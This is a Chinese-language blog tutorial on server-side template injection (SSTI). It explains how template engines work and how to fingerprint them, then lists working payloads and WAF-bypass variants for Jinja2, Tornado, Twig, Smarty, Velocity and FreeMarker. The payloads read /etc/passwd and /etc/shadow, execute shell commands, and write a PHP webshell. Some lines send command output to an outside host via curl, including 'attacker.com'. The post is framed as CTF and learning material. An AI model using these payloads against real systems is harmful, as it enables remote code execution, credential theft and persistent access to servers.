SSTI漏洞浅析(常见模板注入、waf绕过)

模板引擎

  模板引擎是一种用于生成动态内容的工具,它通过将数据与预定义的模板结合,生成最终的输出文档。模板引擎的主要作用是实现界面与数据分离,业务代码与逻辑代码的分离,这不仅大大提升了开发效率,还使得代码重用变得更加容易。模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易
  模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用
  通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 HTML 的文本,返回给浏览器,这样做的好处是展示数据快,大大提升效率
  后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的 HTML 字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成
  前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是 json 等数据包封装的数据,也可能是 html 代码,他都是由浏览器前端来解析渲染成 html 的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成

SSTI漏洞原理

  SSTI(Server-Side Template Injection,服务端模板注入)是一种严重的Web安全漏洞,它允许攻击者利用应用程序中的模板引擎执行恶意代码。这种漏洞通常出现在Web应用程序中,当应用程序使用如Flask、Django、Spring等框架时,一般会采用比较成熟的MVC(Model-View-Controller)模式,此时用户的输入可能会被直接用作模板内容的一部分,而未经适当的处理或过滤

注:MVC是一种框架型模式,全名是Model View Controller,即模型(model)-视图(view)-控制器(controller),在MVC的指导下开发一种业务逻辑、数据、界面显示分离的方法来组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率。

在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术

  SSTI漏洞的成因主要是由于服务端接收了用户的恶意输入后,未经任何处理就将其作为Web应用模板内容的一部分。模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,从而可能导致敏感信息泄露、代码执行、命令执行、任意文件读取、任意文件写入等问题。其影响范围主要取决于模版引擎的复杂性。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
  凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

 

以下是易受攻击的代码片段:

$output = $twig->render("Dear " . $_GET['name']);

  在这段代码中,我们使用了 Twig 模板引擎来渲染模板。然而,对于传入的 name 参数,直接将其与其他字符串进行了简单的拼接,而没有对其进行任何过滤和转义操作。这样做存在安全风险,因为攻击者可以通过构造恶意的输入来注入任意的模板代码。

 

如果攻击者将 name 参数设置为 {{7*7}},则最终渲染的模板将变为:

Dear {{7*7}}

  这样的结果会导致 Twig 引擎将 7*7 这个表达式作为模板代码进行执行,从而使攻击者能够执行任意的代码。

如何判断使用的模板?

  常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等。以下是一张广为流传的图:

 

 

  这幅图的含义是通过这些指令去判断对方用的是什么模板,下面解释一下这幅图的意思:
  绿色箭头是执行成功,红色箭头是执行失败。
  首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
  然后回到最初注入${7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{*comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。

自动化工具

这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

github地址:https://github.com/epinna/tplmap

 

python中的SSTI

python常见的模板有:Jinja2,tornado

常用的类和方法

在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti,接下来讲几个基础的。

1. __class__

__class__ 是一个内置属性,用于返回对象所属的类。这个属性在每个对象中都存在,可以用来获取对象的类信息。
class MyClass:
    pass

obj = MyClass()
print(obj.__class__)  # 输出: <class '__main__.MyClass'>
在这个例子中,objMyClass 的一个实例,通过 obj.__class__ 可以获取到 MyClass
 

2. __bases__

__bases__ 是一个内置属性,用于返回一个类所直接继承的类。它以元组的形式返回所有直接父类。
class Parent:
    pass

class Child(Parent):
    pass

print(Child.__bases__)  # 输出: (<class '__main__.Parent'>,)
在这个例子中,Child 类继承自 Parent 类,通过 Child.__bases__ 可以获取到 Parent
 

3. __base__

__base__ 是一个内置属性,用于返回一个类所直接继承的类。与 __bases__ 不同,__base__ 返回的是单个父类,而不是元组。
class Parent:
    pass

class Child(Parent):
    pass

print(Child.__base__)  # 输出: <class '__main__.Parent'>
在这个例子中,Child 类继承自 Parent 类,通过 Child.__base__ 可以获取到 Parent
 

4. __mro__

__mro__ 是一个内置属性,用于返回解析方法调用的顺序。它是一个元组,包含了类及其所有父类的顺序。
class GrandParent:
    pass

class Parent(GrandParent):
    pass

class Child(Parent):
    pass

print(Child.__mro__)  # 输出: (<class '__main__.Child'>, <class '__main__.Parent'>, <class '__main__.GrandParent'>, <class 'object'>)
在这个例子中,Child 类继承自 Parent 类,而 Parent 类继承自 GrandParent 类。通过 Child.__mro__ 可以获取到方法解析顺序
 

5. __subclasses__()

__subclasses__() 是一个内置方法,用于获取类的所有子类。它返回一个包含所有子类的列表。
class Parent:
    pass

class Child1(Parent):
    pass

class Child2(Parent):
    pass

print(Parent.__subclasses__())  # 输出: [<class '__main__.Child1'>, <class '__main__.Child2'>]
在这个例子中,Parent 类有两个子类 Child1Child2,通过 Parent.__subclasses__() 可以获取到这两个子类
 

6. __init__

__init__ 是一个特殊方法,用于初始化对象的属性。虽然它不是内置属性,但在很多情况下,它被用作跳板来调用 globals,从而执行一些特殊操作。
class MyClass:
    def __init__(self):
        self.data = "Hello, World!"

obj = MyClass()
print(obj.data)  # 输出: Hello, World!
在这个例子中,__init__ 方法用于初始化 MyClass 的实例属性 data
 

7. __globals__

__globals__ 是一个内置属性,用于获取函数所处空间下可使用的模块、方法以及所有变量。
def my_function():
    print(__globals__)

my_function()
在这个例子中,__globals__ 返回当前函数所处的全局变量字典
 

在看完上边这些自带方法、成员变量后,可能有点懵,接下来看看是如何利用这些方法以及成员变量达到我们想要的目的的。

在SSTI中,我们要做的无非就两个:

  • 执行命令
  • 获取文件内容

所以我们所做的一切实际上都是在往这两个结果靠拢。

 

Jinja2

基础payload

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].
__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数 [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval__import__等的全局函数,可以利用此来执行命令:
[].
__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() #python3.7 #命令执行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} #windows下的os命令 "".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

一些绕waf的方法

过滤中括号
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
过滤引号
#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
过滤花括号
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

 

 

Tornado

以下为tornado render模板注入相关的BUUCTF的题目,可作为参考。

【攻防世界】easytornado - Antoniiiia - 博客园

基础payload

 

1. 直接命令执行:

 

{{__import__("os").popen("ls").read()}} # 调用os模块执行命令
{% import os %}{{os.popen("id").read()}} # 显式导入模块


2. 利用对象链构造攻击:

 

Flask类继承链的复用:

{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}

通过字符串对象回溯到 os._wrap_close 类,利用其全局变量执行命令。


Tornado特有对象链:

{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

通过handler对象的全局命名空间直接调用eval函数。


3. 文件包含与模板覆盖:

 

{% extends "/etc/passwd" %} # 尝试包含系统文件
{% include "/etc/shadow" %} # 触发文件读取漏洞

 

一些绕waf的方法

 

1.  十六进制/Unicode编码

{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29..." %}  # 编码os.popen("ls")

2. 符号过滤

  利用模板语法特性:

{% raw "恶意代码" %}{% apply eval %}...{% end %} # 通过apply执行函数

  无回显命令执行:

__import__('os').system('curl http://attacker.com') # 使用system实现无回显攻击

3. 分块注入与沙箱逃逸

  多行代码注入:

{% autoescape None %}
{% raw request.body %}  # 通过request.body传递代码块
_tt_utf8=exec  # 利用模板变量赋值执行

与其他框架的对比

特性 Tornado Flask(Jinja2) Django
模板语法 类似Jinja2,支持 handler 对象 标准Jinja2语法 自研模板系统,语法更加严格
沙盒机制 有限支持(需手动配置) 无原生沙盒,依赖扩展 默认启用沙盒,安全性更高
高危对象 handler.settings、request config、request settings、os模块
漏洞利用难度 中等(依赖上下文对象) 较低(魔术方法链成熟) 较高(沙盒严格)

 

PHP中的SSTI

php常见的模板:twig,smarty,blade

twig

Twig 是来自于 Symfony 的模板引擎,它非常易于安装和使用,它的操作有点像 Mustache 和 liquid

payload

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.enableDebug()}}{{_self.env.isDebug()}}

{{["id"]|map("system")|join(",")

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

{{["id",0]|sort("system")|join(",")}}

{{["id"]|filter("system")|join(",")}}

{{[0,0]|reduce("system","id")|join(",")}}

{{['cat /etc/passwd']|filter('system')}}

具体payload分析详见:《TWIG 全版本通用 SSTI payloads

            《SSTI-服务器端模板注入

smarty

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路是先测试该标签:
{php}phpinfo();{/php}

在Smarty3的官方手册里有以下描述:

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

此外,还可以使用{literal} 标签,

官方手册这样描述这个标签:

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

对于php5的环境可以这样使用:
<script language="php">phpinfo();</script>

// 从PHP7开始,这种写法<script language="php"></script>,已经不支持了

也可以用self来获取Smarty对象并调用Smarty类的getStreamVariable方法,很多文章里给的payload都形如:

{self::getStreamVariable(“file:///etc/passwd”)}

不过这个是旧版本Smarty的SSTI利用方式,并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。 对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。

 

尝试使用{if}标签,官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*

执行以下payload可读取/flag:

{if system('cat /flag')}{/if}

 

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

关于blade模板这里不再多说,请参考《laravel Blade 模板引擎

 

Java中的SSTI

java常见的引擎:FreeMarker, velocity

 

 velocity

  Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。

  根据官方文档的描述,可以看到这是由 widget Connector 这个插件造成的SSTI,利用SSTI而造成的RCE。在经过diff后,可以确定触发漏洞的关键点在于对post包中的_template字段。

 

具体漏洞代码调试可以参考:《Confluence未授权模板注入/代码执行(CVE-2019-3396)

 

             《Confluence 未授权RCE分析(CVE-2019-3396)

 

http://127.0.0.1:8080/ssti/velocity?template=%23set(%24e=%22e%22);%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒

 

FreeMarker

FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

 

freemarker.template.utility 里面有个Execute类,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。构造payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

freemarker.template.utility 里面有个ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()

freemarker.template.utility 里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

 

参考链接

flask之ssti模版注入从零到入门

SSTI(模板注入)

SSTI完全学习

flask ssti漏洞复现

SSTI(服务器模板注入)学习

CTF SSTI(服务器模板注入)

用python继承链搞事情

Python安全之SSTI——Flask/Jinja2

SSTI模板注入(Python+Jinja2)

SSTI Bypass 分析

flask之ssti模板注入

一篇文章带你理解漏洞之SSTI漏洞

SSTI模板注入

模板注入(SSTI)详解与攻防实践-CSDN博客

 

 

 

 
 
 
posted @ 2025-05-09 11:04  Antoniiiia  阅读(173)  评论(0)    收藏  举报